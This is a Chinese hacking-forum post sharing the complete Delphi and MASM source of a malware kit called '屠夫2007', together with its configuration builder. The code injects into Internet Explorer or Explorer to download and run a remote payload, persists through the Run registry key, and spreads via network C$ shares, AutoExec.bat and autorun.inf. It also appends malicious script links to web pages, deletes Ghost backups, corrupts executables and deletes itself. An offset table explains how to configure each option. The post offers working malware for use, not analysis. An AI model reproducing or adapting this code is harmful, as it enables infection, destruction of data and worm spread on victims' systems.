屠夫2007完整源代码

屠夫2007完整源代码
[attachment=1801]
服务端：
program server;

{$IMAGEBASE $13140000}

uses
windows,
reg,
SysUtils,
SysUtils2;

const
url:pchar='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
link:pchar='yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy';
name:pchar='Happy every day!! Do you know me??';
a:string='aaaaaaaaaa';
b:string='bbbbbbbbbb';
c:string='cccccccccc';
d:string='dddddddddd';
e:string='eeeeeeeeee';
f:string='ffffffffff';
g:string='gggggggggg';
var
ww:string;

function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
StatusCB: Pointer): LongWord;
stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;
stdcall; external 'kernel32.dll' name 'WinExec';

procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
var
Module, NewModule: Pointer;
Size, BytesWritten, TID: longword;
begin
Module := Pointer(GetModuleHandle(nil));
Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
end;

procedure download;
begin
URLDownloadToFile(nil, url, 'c:\windows\system32\install.exe', 0, nil);
WinExec('c:\windows\system32\install.exe', sw_hide);
end;

procedure hookiexplorer;
var
ProcessHandle, PID: longword;
begin
GetWindowThreadProcessId(FindWindow('IEFrame', nil), @PID);
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle, @download);
CloseHandle(ProcessHandle);
end;

procedure hookexplorer;
var
ProcessHandle, PID: longword;
begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @PID);
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle, @download);
CloseHandle(ProcessHandle);
end;

procedure DelMe;
var
F: textfile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
BatchFileName := 'c:\' + 'Deleteme.bat';
AssignFile(F, BatchFileName);
Rewrite(F);
WriteLn(F, ':try');
WriteLn(F, 'del "' + ParamStr(0) + '"');
WriteLn(F, 'if exist "' + ParamStr(0) + '"' + ' goto try');
WriteLn(F, 'del %0');
CloseFile(F);
FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;

Function LowerCase(const S: string): string;
var
kixoebvq: Integer;
begin
kixoebvq := Length(S);
SetString(Result, PChar(S), kixoebvq);
if kixoebvq > 0 then CharLowerBuff(Pointer(Result), kixoebvq);
end;

function FileExists(const FileName: string): Boolean;
var
__pqxjj: THandle;
wgndplz: TWin32FindData;
begin
__pqxjj := FindFirstFileA(PChar(FileName), wgndplz);
result:= __pqxjj <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(__pqxjj);
end;
end;

procedure Enumeration(aResource:PNetResource);
var
qnlshmm: THandle;
kujf_n, mec: DWORD;
wgokq: array[0..1023] of TNetResource;
_fehlq: Integer;
begin
WNetOpenEnum(2,0,0,aResource,qnlshmm);
kujf_n:=1024;
mec:=SizeOf(wgokq);
while WNetEnumResource(qnlshmm,kujf_n,@wgokq,mec)=0 do
for _fehlq:=0 to kujf_n-1 do
begin
if wgokq[_fehlq].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
ww := ww + copy(LowerCase(wgokq[_fehlq].lpRemoteName),3,MAX_PATH) + #13#10;
if wgokq[_fehlq].dwUsage>0 then
Enumeration(@wgokq[_fehlq])
end;
WNetCloseEnum(qnlshmm);
end;

Procedure Network;
Var
x_a : String;
ktkma : TextFile;
Begin
Enumeration(NIL);
While ww <> '' Do Begin
x_a := Copy(ww, 1, Pos(#13#10, ww)-1);
Try
CopyFile(pChar(ParamStr(0)), pChar(x_a + '\C$\Setup.exe'), False);
If FileExists(pChar(x_a + '\C$\AutoExec.bat')) Then Begin
AssignFile(ktkma, x_a + '\C$\AutoExec.bat');
Append(ktkma);
WriteLn(ktkma, 'Setup.exe');
CloseFile(ktkma);
End;
Except
;
End;
ww := Copy(ww, Pos(#13#10, ww)+2, Length(ww));
End;
End;

procedure regme;
var
sysdir:array[0..50] of char;
begin
AddValue2( HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run','system', 'interneter.exe');
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\interneter.exe') then
copyfile(pchar(paramstr(0)),pchar(sysdir+'\interneter.exe'),true);
end;

procedure findfile(const FileSpec: TFileName;attributes:integer;doit: string);
var
Spec: String;
filehandle:integer;
procedure RFindFile(const Folder: TFileName);
var
SearchRec: TSearchRec;
begin
if doit='0' then
exit
else
begin
if FindFirst(Folder + Spec, Attributes, SearchRec)=0 then
begin
try
repeat
if (SearchRec.Attr and faDirectory = 0) or (SearchRec.Name<>'.') and (SearchRec.Name<>'..') then
begin
if doit='1' then
begin
if (extractfileext(searchrec.Name)='.asp') or (extractfileext(searchrec.Name)='.htm') or (extractfileext(searchrec.Name)='.html')
or (extractfileext(searchrec.Name)='.aspx') or (extractfileext(searchrec.Name)='.php') then
begin
filehandle:=fileopen(folder+searchrec.Name,fmopenreadwrite);
fileseek(filehandle,0,2);
filewrite(filehandle,link^,strlen(link));
fileclose(filehandle);
end;
end
else
if doit='2' then
begin
if extractfileext(searchrec.Name)='.gho' then
deletefile(pchar(Folder + SearchRec.Name) );
end
else
if doit='3' then
begin
if (extractfileext(searchrec.Name)='.exe') or (extractfileext(searchrec.Name)='.com') then
begin
filehandle:=fileopen(folder+searchrec.Name,fmopenreadwrite);
fileseek(filehandle,0,0);
filewrite(filehandle,name^,strlen(name));
fileclose(filehandle);
end;
end;
end;
until FindNext(SearchRec) <> 0;
except
raise;
end;
end;
if FindFirst(Folder + '*', Attributes Or faDirectory, SearchRec) = 0 then
begin
try
repeat
if ((SearchRec.Attr and faDirectory) <> 0) and (SearchRec.Name<>'.') and (SearchRec.Name<>'..') then
RFindFile(Folder + SearchRec.Name + '\');
until FindNext(SearchRec) <> 0;
except
raise;
end;
end;
end;
end;
begin
try
spec := ExtractFileName(filespec);
RFindFile(ExtractFilePath(filespec));
Except
raise;
end;
end;

procedure copytodisk;
var
s,s1,s2,s3,s4:string;
i:char;
inf:textfile;
begin
s4:=extractfilename(paramstr(0));
s:=ExpandFileName(ParamStr(0));
s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf';
SetFileAttributes(pchar(s),0);
SetFileAttributes(pchar(s1),0);
assignfile(inf, 'Autorun.inf');
rewrite(inf);
writeln(inf, '[AutoRun]');
writeln(inf, '');
writeln(inf, 'open='+s4);
writeln(inf, 'shell\open=打开(&O)');
writeLn(inf, 'shell\open\Command='+s4);
writeln(inf, 'shell\open\Default=1');
writeln(inf, 'shell\explore=资源管理器(&X)');
writeln(inf, 'shell\explore\Command='+s4);
closefile(inf);
for i:='C' to 'Z' do
if (GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE) or (GETDRIVETYPE (PChar(i+':\'))=DRIVE_FIXED) then
begin
s2:=i;
s3:=pchar(i+':\autorun.inf');
s2:=pchar(s2+':\'+s4);
copyfile(pchar(s),pchar(s2),false);
copyfile(pchar(s1),pchar(s3),false);
SetFileAttributes(pchar(s2),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(s3),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
end;
end;

var
o:integer;
begin
sleep(1000);
if trim(b)='1' then
begin
try
hookiexplorer;
except
end;
end
else
if trim(b)='2' then
begin
try
hookexplorer;
except
end;
end;
sleep(1000);
if trim(a)='1' then
winexec('cmd.exe /c date 1983-10-19',sw_hide);
if trim(g)='1' then
copytodisk;
if trim(c)='1' then
regme;
if trim(d)='1' then
network;
for o:=0 to 25 do
begin
findfile(char(o+68)+':\'+'*.*',0,trim(e));
end;
if trim(f)='1' then
delme;
end.

SysUtils2.pas ：
unit SysUtils2;

interface

uses windows;

type
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array[0..1] of Word);
2: (Bytes: array[0..3] of Byte);
end;
const
fmOpenRead = $0000;
fmOpenWrite = $0001;
fmOpenReadWrite = $0002;
fmShareDenyNone = $0030;

function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
procedure FileClose(Handle: Integer);
function FileCreate(const FileName: string): Integer;
function FileSeek(Handle, Offset, Origin: Integer): Integer;
function FileOpen(const FileName: string; Mode: LongWord): Integer;
function LowerCase(const S: string): string;
function StrComp(const Str1, Str2: PChar): Integer; assembler;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
function ExtractFilePath(path: string): string;
function ExtractFilename(const filename: string): string;
function AnsiCompareText(const S1, S2: string): Integer;
function UpperCase(const S: string): string;
function StrLen(const Str: PChar): Cardinal; assembler;
function StrLCopy(Dest: PChar; const Source: PChar; MaxLen: Cardinal): PChar; assembler;
function StrPas(const Str: PChar): string;
function Inttostr(const Int: integer): string;
function Trim(const S: string): string;
function FileExists(const FileName: string): Boolean;
function StrIComp(const Str1, Str2: PChar): Integer; assembler;
procedure ProcessMessages;

implementation

procedure ProcessMessages;
var
Msg: TMsg;
begin
if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then
begin
// if Msg.Message <> WM_QUIT then
// begin
TranslateMessage(Msg);
DispatchMessage(Msg);
// end;
end;
end;

function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
PUSH EDI
PUSH ESI
MOV ESI,EAX
MOV EDI,EDX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
NOT ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,ECX
MOV EAX,EDI
SHR ECX,2
REP MOVSD
MOV ECX,EDX
AND ECX,3
REP MOVSB
POP ESI
POP EDI
end;

function StrComp(const Str1, Str2: PChar): Integer; assembler;
asm
PUSH EDI
PUSH ESI
MOV EDI,EDX
MOV ESI,EAX
MOV ECX,0FFFFFFFFH
XOR EAX,EAX
REPNE SCASB
NOT ECX
MOV EDI,EDX
XOR EDX,EDX
REPE CMPSB
MOV AL,[ESI-1]
MOV DL,[EDI-1]
SUB EAX,EDX
POP ESI
POP EDI
end;

function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;

function StrScan(const Str: PChar; Chr: Char): PChar;
begin
Result := Str;
while Result^ <> Chr do
begin
if Result^ = #0 then
begin
Result := nil;
Exit;
end;
Inc(Result);
end;
end;

function ExtractFilePath(path: string): string;
var
i: integer;
begin
i := length(path);
while i >= 1 do
begin
if (path = '\') or (path = '/') or (path = ':') then
break;
dec(i);
end;
result := copy(path, 1, i);
end;

function AnsiCompareText(const S1, S2: string): Integer;
begin
Result := CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, PChar(S1),
Length(S1), PChar(S2), Length(S2)) - 2;
end;

function ExtractFilename(const filename: string): string;
var
I: Integer;
begin
i := length(filename);
while i >= 1 do
begin
if (filename = '/') or (filename = '\') or (filename = ':') then
begin
result := copy(filename, i + 1, maxint);
exit;
end;
dec(i);
end;
result := filename;
end;

function UpperCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'a') and (Ch <= 'z') then
Dec(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;

function StrLen(const Str: PChar): Cardinal; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX
MOV EDI,EDX
end;

function StrLCopy(Dest: PChar; const Source: PChar; MaxLen: Cardinal): PChar; assembler;
asm
PUSH EDI
PUSH ESI
PUSH EBX
MOV ESI,EAX
MOV EDI,EDX
MOV EBX,ECX
XOR AL,AL
TEST ECX,ECX
JZ @@1
REPNE SCASB
JNE @@1
INC ECX
@@1: SUB EBX,ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,EDI
MOV ECX,EBX
SHR ECX,2
REP MOVSD
MOV ECX,EBX
AND ECX,3
REP MOVSB
STOSB
MOV EAX,EDX
POP EBX
POP ESI
POP EDI
end;

function StrPas(const Str: PChar): string;
begin
Result := Str;
end;

function Inttostr(const Int: integer): string;
var
d, m: integer;
A: boolean;
begin
if Int = 0 then
begin
result := '0';
exit;
end;
A := int >= 0;
if A then m := int
else m := -int;
result := '';
while m <> 0 do
begin
d := m mod 10;
m := m div 10;
Result := chr(d + 48) + Result;
end;
if not A then Result := '-' + Result;
end;

function Trim(const S: string): string;
var
I, L: Integer;
begin
L := Length(S);
I := 1;
while (I <= L) and (S[I] <= ' ') do Inc(I);
if I > L then Result := '' else
begin
while S[L] <= ' ' do Dec(L);
Result := Copy(S, I, L - I + 1);
end;
end;

function StrIComp(const Str1, Str2: PChar): Integer; assembler;
asm
PUSH EDI
PUSH ESI
MOV EDI,EDX
MOV ESI,EAX
MOV ECX,0FFFFFFFFH
XOR EAX,EAX
REPNE SCASB
NOT ECX
MOV EDI,EDX
XOR EDX,EDX
@@1: REPE CMPSB
JE @@4
MOV AL,[ESI-1]
CMP AL,'a'
JB @@2
CMP AL,'z'
JA @@2
SUB AL,20H
@@2: MOV DL,[EDI-1]
CMP DL,'a'
JB @@3
CMP DL,'z'
JA @@3
SUB DL,20H
@@3: SUB EAX,EDX
JE @@1
@@4: POP ESI
POP EDI
end;

function FileAge(const FileName: string): Integer;
var
Handle: THandle;
FindData: TWin32FindData;
LocalFileTime: TFileTime;
begin
Handle := FindFirstFile(PChar(FileName), FindData);
if Handle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(Handle);
if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
LongRec(Result).Lo) then Exit;
end;
end;
Result := -1;
end;

function FileExists(const FileName: string): Boolean;
begin
Result := FileAge(FileName) <> -1;
end;

function FileOpen(const FileName: string; Mode: LongWord): Integer;
const
AccessMode: array[0..2] of LongWord = (
GENERIC_READ,
GENERIC_WRITE,
GENERIC_READ or GENERIC_WRITE);
ShareMode: array[0..4] of LongWord = (
0,
0,
FILE_SHARE_READ,
FILE_SHARE_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE);
begin
Result := -1;
if ((Mode and 3) <= fmOpenReadWrite) and
((Mode and $F0) <= fmShareDenyNone) then
Result := Integer(CreateFile(PChar(FileName), AccessMode[Mode and 3],
ShareMode[(Mode and $F0) shr 4], nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0));
end;

function FileSeek(Handle, Offset, Origin: Integer): Integer;
begin
{$IFDEF MSWINDOWS}
Result := SetFilePointer(THandle(Handle), Offset, nil, Origin);
{$ENDIF}
{$IFDEF LINUX}
Result := __lseek(Handle, Offset, Origin);
{$ENDIF}
end;

function FileCreate(const FileName: string): Integer;
begin
Result := Integer(CreateFile(PChar(FileName), GENERIC_READ or GENERIC_WRITE,
0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0));
end;

function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
begin
{$IFDEF MSWINDOWS}
if not WriteFile(THandle(Handle), Buffer, Count, LongWord(Result), nil) then
Result := -1;
{$ENDIF}
{$IFDEF LINUX}
Result := __write(Handle, Buffer, Count);
{$ENDIF}
end;

procedure FileClose(Handle: Integer);
begin
{$IFDEF MSWINDOWS}
CloseHandle(THandle(Handle));
{$ENDIF}
{$IFDEF LINUX}
__close(Handle); // No need to unlock since all locks are released on close.
{$ENDIF}
end;

end.

Reg.pas ：
unit Reg;

interface
uses windows;

type
TFun=function(name:string):boolean;

procedure AddValue(Root: HKEY; StrPath: pchar; StrValue: pchar; Strdata: pchar;
DataType: integer);
procedure AddValue2(Root: HKEY; StrPath: pchar; StrValue: pchar; Strdata: pchar);
procedure DelValue(Root: HKEY; StrPath: pchar; StrValue: pchar);
procedure DelSub(Root: HKEY; StrPath: pchar; StrSub: pchar);
function ReadValue(Root: HKEY; StrPath: pchar; StrValue: pchar): string;
function ReadValueBinary(Root: HKEY; StrPath: pchar; StrValue: pchar): string;
function ValueExists(Root: HKEY; StrPath: pchar; StrValue: pchar): Boolean;
function KeyExists(Root: HKEY; StrPath: pchar; StrSub: pchar): Boolean;
function GetValueName(Root: HKEY; StrPath: pchar; var Str: string): integer;
function GetKeyName(Root: HKEY; StrPath: pchar; var Str: string): integer;
procedure GetKeyName2(Root: HKEY; StrPath: pchar; fun:TFun);

implementation

function CreateKey(Root: HKEY; StrPath: pchar): Hkey;
var
TempKey: HKey;
Disposition: Integer;
begin
TempKey := 0;
RegCreateKeyEx(Root, StrPath, 0, nil, 0, KEY_ALL_ACCESS, nil, TempKey,
@Disposition);
Result := TempKey;
end;

function OpenKey(Root: HKEY; StrPath: pchar): Hkey;
var
TempKey: Hkey;
begin
TempKey := 0;
RegOpenKeyEx(Root, StrPath, 0, KEY_ALL_ACCESS, TempKey);
Result := TempKey;
end;

procedure AddValue(Root: HKEY; StrPath: pchar; StrValue: pchar; Strdata: pchar;
DataType: integer);
var
s: Hkey;
begin
s := CreateKey(Root, StrPath);
RegSetValueEx(s, StrValue, 0, REG_SZ, Strdata, sizeof(Strdata));
RegCloseKey(s);
end;

function StrLen(const Str: PChar): Cardinal; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX
MOV EDI,EDX
end;

procedure AddValue2(Root: HKEY; StrPath: pchar; StrValue: pchar; Strdata: pchar);
var
s: Hkey;
begin
s := CreateKey(Root, StrPath);
RegSetValueEx(s, StrValue, 0, REG_SZ, Strdata, strlen(Strdata));
RegCloseKey(s);
end;

procedure DelValue(Root: HKEY; StrPath: pchar; StrValue: pchar);
var
s: Hkey;
begin
s := OpenKey(Root, StrPath);
RegDeleteValue(s, StrValue);
RegCloseKey(s);
end;

procedure DelSub(Root: HKEY; StrPath: pchar; StrSub: pchar);
var
s: Hkey;
begin
s := OpenKey(Root, StrPath);
RegDeleteKey(s, StrSub);
RegCloseKey(s);
end;

function ReadValue(Root: HKEY; StrPath: pchar; StrValue: pchar): string;
var
s: Hkey;
ValueType: DWORD;
MyData: array[0..255] of char;
dLength: DWORD;
begin
ValueType := REG_SZ;
s := OpenKey(Root, StrPath);
dLength := SizeOf(MyData);
if RegQueryValueEx(s, StrValue, nil, @ValueType, @MyData[0], @dLength) = 0
then
begin
Result := MyData;
RegCloseKey(s);
end
else
begin
Result := '';
RegCloseKey(s);
end;
end;

function ReadValueBinary(Root: HKEY; StrPath: pchar; StrValue: pchar): string;
const
size=255;
var
s: Hkey;
ValueType: DWORD;
dLength: DWORD;
begin
ValueType := REG_BINARY;
s := OpenKey(Root, StrPath);
Setlength(Result,size);
dLength := size;
if RegQueryValueEx(s, StrValue, nil, @ValueType, @result[1], @dLength) = 0
then
begin
Setlength(result,dLength);
RegCloseKey(s);
end
else
begin
Result := '';
RegCloseKey(s);
end;
end;

function ValueExists(Root: HKEY; StrPath: pchar; StrValue: pchar): Boolean;
var
s: Hkey;
ValueType: DWORD;
begin
ValueType := REG_SZ;
s := OpenKey(Root, StrPath);
Result := RegQueryValueEx(s, StrValue, nil, @ValueType, nil, nil) = 0;
RegCloseKey(s);
end;

function KeyExists(Root: HKEY; StrPath: pchar; StrSub: pchar): Boolean;
var
s: Hkey;
Str: string;
begin
if StrPath <> nil then
Str := Strpath + '\' + StrSub
else
Str := StrSub;
s := OpenKey(Root, pchar(Str));
Result := s <> 0;
if s <> 0 then
RegCloseKey(s);
end;

function GetValueName(Root: HKEY; StrPath: pchar; var Str: string): integer;
var
s: Hkey;
Count: integer;
ValueName: array[0..100] of char;
BufSize, dType, dLength: DWORD;
IData: array[0..255] of char;
begin
str:='';
Count := 0;
BufSize := 100;
dLength := 254;
s := OpenKey(Root, StrPath);
if s <> 0 then
begin
while RegEnumValue(s, Count, @ValueName[0], BufSize, nil, @dType, @iData,
@dLength) = 0 do
begin
BufSize := 100;
dLength := 254;
Str := Str + ValueName + ',';
Count := Count + 1;
end;
RegCloseKey(s);
end;
if copy(Str, 1, 1) = ',' then
delete(Str, 1, 1);
if copy(Str, Length(str), 1) = ',' then
delete(Str, Length(str), 1);
Result := Count;
end;

function GetKeyName(Root: HKEY; StrPath: pchar; var Str: string): integer;
const
size=255;
var
s: Hkey;
Count: integer;
BufSize: DWORD;
ValueName: array[0..size-1] of char;
begin
str:='';
Count := 0;
BufSize := size;
s := OpenKey(Root, StrPath);
if s <> 0 then
begin
while RegEnumKeyEx(s, Count, @ValueName[0], BufSize, nil, nil, nil, nil) = 0 do
begin
BufSize := size;
Str := Str + ValueName + ',';
Count := Count + 1;
end;
RegCloseKey(s);
end;
if copy(Str, Length(str), 1) = ',' then
delete(Str, Length(str), 1);
Result := Count;
end;

procedure GetKeyName2(Root: HKEY; StrPath: pchar; fun:TFun);
const
size=255;
var
s: Hkey;
Count: integer;
BufSize: DWORD;
ValueName: array[0..size-1] of char;
begin
Count := 0;
BufSize := size;
s := OpenKey(Root, StrPath);
if s <> 0 then
begin
while RegEnumKeyEx(s, Count, @ValueName[0], BufSize, nil, nil, nil, nil) = 0 do
begin
BufSize := size;
if @fun<>nil then
if not fun(ValueName) then break;
Count := Count + 1;
end;
RegCloseKey(s);
end;
end;

end.

生成器：
unit Unit3;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, WinSkinData;
const
offset_url:integer=32500; //下载地址
offset_link:integer=32564; //挂马脚本
offset_a:integer= 32672; //禁用卡巴
offset_b:integer= 32692; //注入方式
offset_c:integer= 32712; //注册表启动
offset_d:integer= 32732; //内网传播
offset_e:integer= 32752; //文件功能
offset_f:integer= 32772; //删除自己
offset_g:integer= 32792; //autorun感染
offset_url1:integer=1032; //小屠夫偏移
type
TForm3 = class(TForm)
Edit1: TEdit;
Label1: TLabel;
r1: TRadioButton;
r2: TRadioButton;
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
c1: TCheckBox;
C3: TCheckBox;
C4: TCheckBox;
C7: TCheckBox;
C8: TCheckBox;
GroupBox3: TGroupBox;
C9: TCheckBox;
Button1: TButton;
GroupBox4: TGroupBox;
Label2: TLabel;
Button2: TButton;
Label3: TLabel;
Edit2: TEdit;
RadioGroup1: TRadioGroup;
r3: TRadioButton;
R4: TRadioButton;
R5: TRadioButton;
Label4: TLabel;
SkinData1: TSkinData;
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure savetostream;
procedure savetostream1;
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form3: TForm3;
s:tmemorystream;
s1:tmemorystream;
implementation

{$R *.dfm}
{$R downman.res}
{$R downman1.res}

procedure TForm3.savetostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,'downman',RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;
procedure TForm3.savetostream1;
var
Res : TResourceStream;
begin
s1:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,'downman1',RT_RCDATA);
Res.SaveToStream(s1);
Res.Free;
end;

procedure TForm3.Button1Click(Sender: TObject);
var
url,link,a,b,c,d,e,f,g:string;
buffer,buffer1,buffer2,buffer3,buffer4,buffer5,buffer6,buffer7,buffer8:pchar;
begin
a:='0';
b:='0';
c:='0';
d:='0';
e:='0';
f:='0';
g:='0';
if edit1.Text='' then
showmessage('请输入下载地址！！')
else
begin
if r1.Checked then
b:='1';
if r2.Checked then
b:='2';
if c1.Checked then
d:='1';
if r3.Checked then
e:='3';
if c3.Checked then
c:='1';
if c4.Checked then
g:='1';
if r4.Checked then
e:='2';
if r5.Checked then
e:='1';
if c7.Checked then
f:='1';
if c8.Checked then
a:='1';
url:=trim(edit1.Text);
link:=trim(edit2.Text);
buffer:=pchar(url+stringofchar(#0,60-length(url)));
buffer1:=pchar(link+stringofchar(#0,60-length(link)));
buffer2:=pchar(a+stringofchar(#0,10-length(a)));
buffer3:=pchar(b+stringofchar(#0,10-length(b)));
buffer4:=pchar(c+stringofchar(#0,10-length(c)));
buffer5:=pchar(d+stringofchar(#0,10-length(d)));
buffer6:=pchar(e+stringofchar(#0,10-length(e)));
buffer7:=pchar(f+stringofchar(#0,10-length(f)));
buffer8:=pchar(g+stringofchar(#0,10-length(g)));
savetostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,60);
s.Seek(offset_link,sofrombeginning);
s.WriteBuffer(buffer1^,60);
s.Seek(offset_a,sofrombeginning);
s.WriteBuffer(buffer2^,10);
s.Seek(offset_b,sofrombeginning);
s.WriteBuffer(buffer3^,10);
s.Seek(offset_c,sofrombeginning);
s.WriteBuffer(buffer4^,10);
s.Seek(offset_d,sofrombeginning);
s.WriteBuffer(buffer5^,10);
s.Seek(offset_e,sofrombeginning);
s.WriteBuffer(buffer6^,10);
s.Seek(offset_f,sofrombeginning);
s.WriteBuffer(buffer7^,10);
s.Seek(offset_g,sofrombeginning);
s.WriteBuffer(buffer8^,10);
s.SaveToFile('svchost.exe');
s.Free;
showmessage('服务端生成完毕！！');
end;

end;

procedure TForm3.Button2Click(Sender: TObject);
var
url1:string;
buffer:pchar;
begin
if edit1.Text='' then
showmessage('请输入下载地址！！')
else
begin
url1:=trim(edit1.Text);
buffer:=pchar(url1+stringofchar(#0,60-length(url1)));
savetostream1;
s1.Seek(offset_url1,sofrombeginning);
s1.WriteBuffer(buffer^,60);
s1.SaveToFile('small.exe');
s1.Free;
showmessage('小屠夫生成完毕！！');
end;
end;

end.

小屠夫：
.386
.model flat, stdcall
option casemap:none
include d:\masm32\include\windows.inc
include d:\masm32\include\kernel32.inc
include d:\masm32\include\user32.inc
include d:\masm32\include\urlmon.inc
include d:\masm32\include\shell32.inc
includelib d:\masm32\lib\kernel32.lib
includelib d:\masm32\lib\user32.lib
includelib d:\masm32\lib\urlmon.lib
includelib d:\masm32\lib\shell32.lib

.data
szDesktopClass db 'IEFrame',0
szURL db 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',0
szSaveFile db 'c:\windows\system32\serversa.exe',0

.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code

Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
invoke FindWindow,addr szDesktopClass,NULL
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\
PROCESS_VM_OPERATION,FALSE,Pid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start

附上地址说明：
url: 60 x 下载地址 32500
link: 60 y 挂马内容 32564
a: 10 a 禁用卡巴 32672
b: 10 b 注入方式 1 iexplorer.exe 2 explorer.exe 32692
c: 10 c 注册表 32712
d: 10 d 内网传播 32732
e: 10 e 0 退出 1 挂马 2 删除备份 3 毁坏可执行文件 32752
f: 10 f 删除自己 32772
g: 10 g autorun感染 32792
转载请注明出自冰兰技术联盟www.icehker.com，本贴地址：http://bbs.icehker.com/viewthread.php?tid=10099